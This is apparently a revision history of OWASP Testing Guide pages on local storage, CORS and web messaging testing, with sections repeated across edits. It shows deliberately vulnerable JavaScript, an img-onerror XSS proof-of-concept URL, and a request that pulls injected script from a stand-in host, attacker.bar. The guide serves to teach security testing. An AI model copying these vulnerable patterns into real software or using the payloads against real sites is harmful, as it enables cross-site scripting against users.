Check if there are more than one application in the same domain like example.foo/app1 and example.foo/app2 because those will share the same storage.

Data stored in this object will persist until the window is closed, it is a bad idea to store sensitive data on this object or session indentifiers as these can be accesed via JavaScript. Session IDs stored in cookies can mitigate this risk using the httpOnly flag.

=== sessionStorage ===

Main difference with localStorage is that the data stored in this object is only accesible until the tab/window is closed which is a perfect candidate for data that doesn't need to persist between sessions.
It shares most of the properties and the getItem/setItem methods, so we will look for these identifiers in the code to check where in the code the storage is accesed.

== Black Box testing and example ==
Blackbox testing for issues within the Local Storage code is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. 

== Gray Box testing and example ==
'''Example 1: Access to localStorage:''' 
 
Access to every element in localStorage with JavaScript: 

<pre>
for(var i=0; i<localStorage.length; i++) {
console.log(localStorage.key(i), " = ", localStorage.getItem(localStorage.key(i)));
}
</pre>

same code can be applied to sessionStorage

Using Google Chrome, click on menu -> Tools -> Developer Tools. Then under Resources you will see 'Local Storage' and 'Web Storage'

[[File:storage-chrome.png]]

Using Firefox and the addon Firebug you can inspect easily inspect the localStorage/sessionStorage object in the DOM tab

[[File:storage-firefox.png]]

Also, we can inspect these objects from the developer tools of our browser.

'''Example 2: XSS in localStorage:''' 
 
Insecure assignment from localStorage can lead to XSS 

<pre>
function action(){

var resource = location.hash.substring(1);

localStorage.setItem("item",resource);

item = localStorage.getItem("item");
document.getElementById("div1").innerHTML=item;
}
</script>

<body onload="action()">
<div id="div1"></div>
</body>
</pre>

URL PoC:

http://server/StoragePOC.html#<img src=x onerror=alert(1)>

[[File:Storage-xss.png]]

== References ==

'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

'''Whitepapers'''
*'''Web Storage Specification''': http://www.w3.org/TR/webstorage/
...

Tools
* '''Firebug''' - http://getfirebug.com/
* '''Google Chrome Developer Tools''' - https://developers.google.com/chrome-developer-tools/
...

Test Web Messaging (OTG-CLIENT-011)

2013-12-15T17:38:25Z

Jgaliana: changed black box/gray box testing and example

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2013-12-15T17:37:19Z

Jgaliana: changed black box/gray box testing and example

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Cross Origin Resource Sharing or CORS is a mechanism that enabled a browser to perform "cross-domain" requests using the XMLHttpRequest L2 API in a controlled manner. In the past, XMLHttpRequest L1 API only allowed requests with the same origin, and you were limited by the same origin policy for communication through this API.

Cross-Origin requests have a Origin header, that identifies the origin and is always sent to the server CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish that, there are few HTTP headers involved in this process, that are supported by all major browsers and we cover later including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.

The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.

== Description of the Issue ==

=== Origin & Access-Control-Allow-Origin ===

The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on the Origin header for Access Control checks is not a good idea as the Origin header may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.

Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it's up to the client to determine and enforce based on this header if the client has access to the response data.

From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.

=== Access-Control-Request-Method & Access-Control-Allow-Method ===

The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.

=== Access-Control-Request-Headers & Access-Control-Allow-Headers ===

These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.

=== Access-Control-Allow-Credentials ===

This header as part of a preflight request indicates that the final request can include user credentials.

=== Input validation ===

XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.
This can introduce security vulnerabilities that in XHR L1 where not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because could allow code injection.

Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.

=== Other headers ===

There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.

== Black Box testing and example ==
Blackbox testing for find issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. 

== Gray Box testing and example ==
'''Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:''' 
 
Request (note the 'Origin' header:) 

<pre>
GET http://attacker.bar/test.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/CORSexample1.html
Origin: http://example.foo
Connection: keep-alive
</pre>

Response (note the 'Access-Control-Allow-Origin' header:) 

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:57:53 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Content-Length: 4
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: application/xml

[Response Body]
</pre>

'''Example 2: Input validation issue, XSS with CORS:'''

This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.

Vulnerable code:

<pre>
<script>

var req = new XMLHttpRequest();

req.onreadystatechange = function() {
if(req.readyState==4 && req.status==200) {
document.getElementById("div1").innerHTML=req.responseText;
}
}

var resource = location.hash.substring(1);
req.open("GET",resource,true);
req.send();
</script>

<body>
<div id="div1"></div>
</body>
</pre>

For example, a request like this will show the contents of the profile.php file:

http://example.foo/main.php#profile.php

Request and response generated by this URL:

<pre>
GET http://example.foo/profile.php HTTP/1.1
Host: example.foo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:20:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Vary: Accept-Encoding
Content-Length: 25
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html

[Response Body]
</pre>

Now, as there are no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:

http://example.foo/main.php#http://attacker.bar/file.php

Request and response generated by this URL:

<pre>
GET http://attacker.bar/file.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Origin: http://example.foo
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 19:00:32 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Length: 92
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Injected Content from attacker.bar <img src="#" onerror="alert('Domain: '+document.domain)">
</pre>
 
[[File:CORS-example.png]]
 
== References ==
'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

'''Whitepapers''' 
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/

'''Tools''' 
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

Test Local Storage (OTG-CLIENT-012)

2013-12-14T23:59:26Z

Jgaliana: link added

Test Web Messaging (OTG-CLIENT-011)

2013-12-14T23:58:16Z

Jgaliana: link added

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Web Messaging also known as Cross Document Mesaging allow applications running in different domains to comunicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy enforced by the browser, however developers used multiple hacks in order to accomplish this tasks that were mainly insecure.

This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced withint he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.

The Messaging API introduced the <pre>postMessage()</pre> method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain. There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:

data: The content of the incoming message
origin: The origin of the sender document.
source: source window

Let's see an example:
<pre>
Send message:

iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);

Receive message:

window.addEventListener(“message”, handler, true);
function handler(event) {
if(event.origin === 'chat.example.com') {
/* process message (event.data) */
} else {
/* ignore messages from untrusted domains */
}
}
</pre>

== Description of the Issue ==

=== Origin Security Concept ===
The origin is made up of a scheme, hostname and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url.
For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to webservers running in the same domain but different port.
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish that is using a whitelist. Also within the sending domain, we also want to make sure they are explicity stating the receiving domain and not '*' as the second argument of postMessage() as this practise could introduce security concerns too, and could lead to, in the case of a redirection or the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.

In the case a developer failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risks so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message listeners, and get the callback function from the <pre>addEventListener</pre> method to further analysis as domains must be always verified prior data manipulation.

=== event.data Input Validation ===

Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via <pre>eval()</pre> or inserted into the DOM via the <pre>innerHTML</pre> property as that would create a DOM-based XSS vulnerability.

== Black Box testing and example ==

Vulnerable code example:

<pre>
Access needed for every subdomain (www, chat, forums, ...)

window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin.indexOf(".owasp.org")!=-1) {
/* process message (e.data) */
}
}
</pre>

The intention is to allow subdomains in this form:

<pre>
www.owasp.org
chat.owasp.org
forums.owasp.org
...
</pre>

Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match

Example of lack of origin check, very insecure as will accept input from any domain:

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
/* process message (e.data) */
}
</pre>

Input validation example: XSS

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin === "trusted.domain.com") {
element.innerHTML= e.data;
}
}
</pre>

This code will lead to Cross-Site Scripting (XSS) vulnerabiltiies as data is not being trated properly, a more secure approach would be to use the property textContent instead of innetHTML.

== References ==
'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

'''Whitepapers'''
*'''Web Messaging Specification''': http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html

'''Tools'''

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2013-12-14T23:55:55Z

Jgaliana: added link

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Cross Origin Resource Sharing or CORS is a mechanism that enabled a browser to perform "cross-domain" requests using the XMLHttpRequest L2 API in a controlled manner. In the past, XMLHttpRequest L1 API only allowed requests with the same origin, and you were limited by the same origin policy for communication through this API.

Cross-Origin requests have a Origin header, that identifies the origin and is always sent to the server CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish that, there are few HTTP headers involved in this process, that are supported by all major browsers and we cover later including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.

The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.

== Description of the Issue ==

=== Origin & Access-Control-Allow-Origin ===

The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on the Origin header for Access Control checks is not a good idea as the Origin header may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.

Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it's up to the client to determine and enforce based on this header if the client has access to the response data.

From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.

=== Access-Control-Request-Method & Access-Control-Allow-Method ===

The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.

=== Access-Control-Request-Headers & Access-Control-Allow-Headers ===

These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.

=== Access-Control-Allow-Credentials ===

This header as part of a preflight request indicates that the final request can include user credentials.

=== Input validation ===

XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.
This can introduce security vulnerabilities that in XHR L1 where not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because could allow code injection.

Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.

=== Other headers ===

There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.

== Black Box testing and example ==
'''Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:''' 
 
Request (note the 'Origin' header:) 

<pre>
GET http://attacker.bar/test.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/CORSexample1.html
Origin: http://example.foo
Connection: keep-alive
</pre>

Response (note the 'Access-Control-Allow-Origin' header:) 

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:57:53 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Content-Length: 4
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: application/xml

[Response Body]
</pre>

'''Example 2: Input validation issue, XSS with CORS:'''

This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.

Vulnerable code:

<pre>
<script>

var req = new XMLHttpRequest();

req.onreadystatechange = function() {
if(req.readyState==4 && req.status==200) {
document.getElementById("div1").innerHTML=req.responseText;
}
}

var resource = location.hash.substring(1);
req.open("GET",resource,true);
req.send();
</script>

<body>
<div id="div1"></div>
</body>
</pre>

For example, a request like this will show the contents of the profile.php file:

http://example.foo/main.php#profile.php

Request and response generated by this URL:

<pre>
GET http://example.foo/profile.php HTTP/1.1
Host: example.foo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:20:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Vary: Accept-Encoding
Content-Length: 25
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html

[Response Body]
</pre>

Now, as there are no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:

http://example.foo/main.php#http://attacker.bar/file.php

Request and response generated by this URL:

<pre>
GET http://attacker.bar/file.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Origin: http://example.foo
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 19:00:32 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Length: 92
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Injected Content from attacker.bar <img src="#" onerror="alert('Domain: '+document.domain)">
</pre>
 
[[File:CORS-example.png]]
 
== References ==
'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

'''Whitepapers''' 
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/

'''Tools''' 
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

Test Web Messaging (OTG-CLIENT-011)

2013-12-14T23:33:52Z

Jgaliana: minor edit

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Web Messaging also known as Cross Document Mesaging allow applications running in different domains to comunicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy enforced by the browser, however developers used multiple hacks in order to accomplish this tasks that were mainly insecure.

This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced withint he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.

The Messaging API introduced the <pre>postMessage()</pre> method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain. There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:

data: The content of the incoming message
origin: The origin of the sender document.
source: source window

Let's see an example:
<pre>
Send message:

iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);

Receive message:

window.addEventListener(“message”, handler, true);
function handler(event) {
if(event.origin === 'chat.example.com') {
/* process message (event.data) */
} else {
/* ignore messages from untrusted domains */
}
}
</pre>

== Description of the Issue ==

=== Origin Security Concept ===
The origin is made up of a scheme, hostname and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url.
For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to webservers running in the same domain but different port.
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish that is using a whitelist. Also within the sending domain, we also want to make sure they are explicity stating the receiving domain and not '*' as the second argument of postMessage() as this practise could introduce security concerns too, and could lead to, in the case of a redirection or the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.

In the case a developer failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risks so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message listeners, and get the callback function from the <pre>addEventListener</pre> method to further analysis as domains must be always verified prior data manipulation.

=== event.data Input Validation ===

Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via <pre>eval()</pre> or inserted into the DOM via the <pre>innerHTML</pre> property as that would create a DOM-based XSS vulnerability.

== Black Box testing and example ==

Vulnerable code example:

<pre>
Access needed for every subdomain (www, chat, forums, ...)

window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin.indexOf(".owasp.org")!=-1) {
/* process message (e.data) */
}
}
</pre>

The intention is to allow subdomains in this form:

<pre>
www.owasp.org
chat.owasp.org
forums.owasp.org
...
</pre>

Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match

Example of lack of origin check, very insecure as will accept input from any domain:

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
/* process message (e.data) */
}
</pre>

Input validation example: XSS

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin === "trusted.domain.com") {
element.innerHTML= e.data;
}
}
</pre>

This code will lead to Cross-Site Scripting (XSS) vulnerabiltiies as data is not being trated properly, a more secure approach would be to use the property textContent instead of innetHTML.

== References ==
Whitepapers 
http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html 
... 
Tools 
...

Test Web Messaging (OTG-CLIENT-011)

2013-12-14T23:33:06Z

Jgaliana: adding OWASP Testing Guide v4 template

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Web Messaging also known as Cross Document Mesaging allow applications running in different domains to comunicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy enforced by the browser, however developers used multiple hacks in order to accomplish this tasks that were mainly insecure.

This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced withint he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.

The Messaging API introduced the <pre>postMessage()</pre> method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain. There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:

data: The content of the incoming message
origin: The origin of the sender document.
source: source window

Let's see an example:
<pre>
Send message:

iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);

Receive message:

window.addEventListener(“message”, handler, true);
function handler(event) {
if(event.origin === 'chat.example.com') {
/* process message (event.data) */
} else {
/* ignore messages from untrusted domains */
}
}
</pre>

== Description of the Issue ==

Origin Security Concept

The origin is made up of a scheme, hostname and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url.
For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to webservers running in the same domain but different port.
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish that is using a whitelist. Also within the sending domain, we also want to make sure they are explicity stating the receiving domain and not '*' as the second argument of postMessage() as this practise could introduce security concerns too, and could lead to, in the case of a redirection or the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.

In the case a developer failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risks so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message listeners, and get the callback function from the <pre>addEventListener</pre> method to further analysis as domains must be always verified prior data manipulation.

event.data input validation

Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via <pre>eval()</pre> or inserted into the DOM via the <pre>innerHTML</pre> property as that would create a DOM-based XSS vulnerability.

== Black Box testing and example ==

Vulnerable code example:

<pre>
Access needed for every subdomain (www, chat, forums, ...)

window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin.indexOf(".owasp.org")!=-1) {
/* process message (e.data) */
}
}
</pre>

The intention is to allow subdomains in this form:

<pre>
www.owasp.org
chat.owasp.org
forums.owasp.org
...
</pre>

Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match

Example of lack of origin check, very insecure as will accept input from any domain:

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
/* process message (e.data) */
}
</pre>

Input validation example: XSS

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin === "trusted.domain.com") {
element.innerHTML= e.data;
}
}
</pre>

This code will lead to Cross-Site Scripting (XSS) vulnerabiltiies as data is not being trated properly, a more secure approach would be to use the property textContent instead of innetHTML.

== References ==
Whitepapers 
http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html 
... 
Tools 
...

Test Local Storage (OTG-CLIENT-012)

2013-12-14T23:32:52Z

Jgaliana: adding OWASP Testing Guide v4 template

Test Web Messaging (OTG-CLIENT-011)

2013-12-14T23:21:35Z

Jgaliana: minor change

== Brief Summary ==

Web Messaging also known as Cross Document Mesaging allow applications running in different domains to comunicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy enforced by the browser, however developers used multiple hacks in order to accomplish this tasks that were mainly insecure.

This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced withint he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.

The Messaging API introduced the <pre>postMessage()</pre> method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain. There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:

data: The content of the incoming message
origin: The origin of the sender document.
source: source window

Let's see an example:
<pre>
Send message:

iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);

Receive message:

window.addEventListener(“message”, handler, true);
function handler(event) {
if(event.origin === 'chat.example.com') {
/* process message (event.data) */
} else {
/* ignore messages from untrusted domains */
}
}
</pre>

== Description of the Issue ==

Origin Security Concept

The origin is made up of a scheme, hostname and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url.
For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to webservers running in the same domain but different port.
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish that is using a whitelist. Also within the sending domain, we also want to make sure they are explicity stating the receiving domain and not '*' as the second argument of postMessage() as this practise could introduce security concerns too, and could lead to, in the case of a redirection or the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.

In the case a developer failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risks so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message listeners, and get the callback function from the <pre>addEventListener</pre> method to further analysis as domains must be always verified prior data manipulation.

event.data input validation

Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via <pre>eval()</pre> or inserted into the DOM via the <pre>innerHTML</pre> property as that would create a DOM-based XSS vulnerability.

== Black Box testing and example ==

Vulnerable code example:

<pre>
Access needed for every subdomain (www, chat, forums, ...)

window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin.indexOf(".owasp.org")!=-1) {
/* process message (e.data) */
}
}
</pre>

The intention is to allow subdomains in this form:

<pre>
www.owasp.org
chat.owasp.org
forums.owasp.org
...
</pre>

Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match

Example of lack of origin check, very insecure as will accept input from any domain:

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
/* process message (e.data) */
}
</pre>

Input validation example: XSS

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin === "trusted.domain.com") {
element.innerHTML= e.data;
}
}
</pre>

This code will lead to Cross-Site Scripting (XSS) vulnerabiltiies as data is not being trated properly, a more secure approach would be to use the property textContent instead of innetHTML.

== References ==
Whitepapers 
http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html 
... 
Tools 
...

Test Web Messaging (OTG-CLIENT-011)

2013-12-14T23:05:34Z

Jgaliana: minor change

== Brief Summary ==

Web Messaging also known as Cross Document Mesaging allow applications running in different domains to comunicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy enforced by the browser, however developers used multiple hacks in order to accomplish this tasks that were mainly insecure.

This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced withint he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.

